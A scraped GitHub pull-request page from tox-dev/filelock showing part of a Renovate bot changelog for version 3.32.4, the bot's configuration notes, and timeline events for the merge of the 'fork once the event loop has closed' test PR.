[@gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#704](https://redirect.github.com/tox-dev/filelock/pull/704) - 🧪 test: cover a reclaimed private record for real by [@gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#706](https://redirect.github.com/tox-dev/filelock/pull/706) - 🧪 test(fork): fork once the event loop has closed by [@gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#714](https://redirect.github.com/tox-dev/filelock/pull/714) - 🔧 chore: batch dependency updates weekly on Tuesday by [@gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#713](https://redirect.github.com/tox-dev/filelock/pull/713) - escape the hostname every marker publishes by [@dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#709](https://redirect.github.com/tox-dev/filelock/pull/709) **Full Changelog**: <tox-dev/filelock@3.32.3...3.32.4> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://redirect.github.com/renovatebot/renovate).  Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>

gaborbernat added the skip news Internal change; exempt from the news fragment check label Aug 22, 2026

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gaborbernat reopened this Aug 22, 2026

gaborbernat merged commit 2966eb5 into tox-dev:main Aug 23, 2026
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gaborbernat mentioned this pull request Aug 23, 2026

🧪 test(fork): report where a stalled fork stops #715

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renovate Bot mentioned this pull request Sep 5, 2026

chore(deps): update minor and patch python dependencies ST3V1K/hermeto2#2

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🧪 test(fork): fork once the event loop has closed - #714

🧪 test(fork): fork once the event loop has closed#714
gaborbernat merged 1 commit into
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gaborbernat:fix/netbsd-cancelled-acquire-fork

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gaborbernat commented Aug 22, 2026

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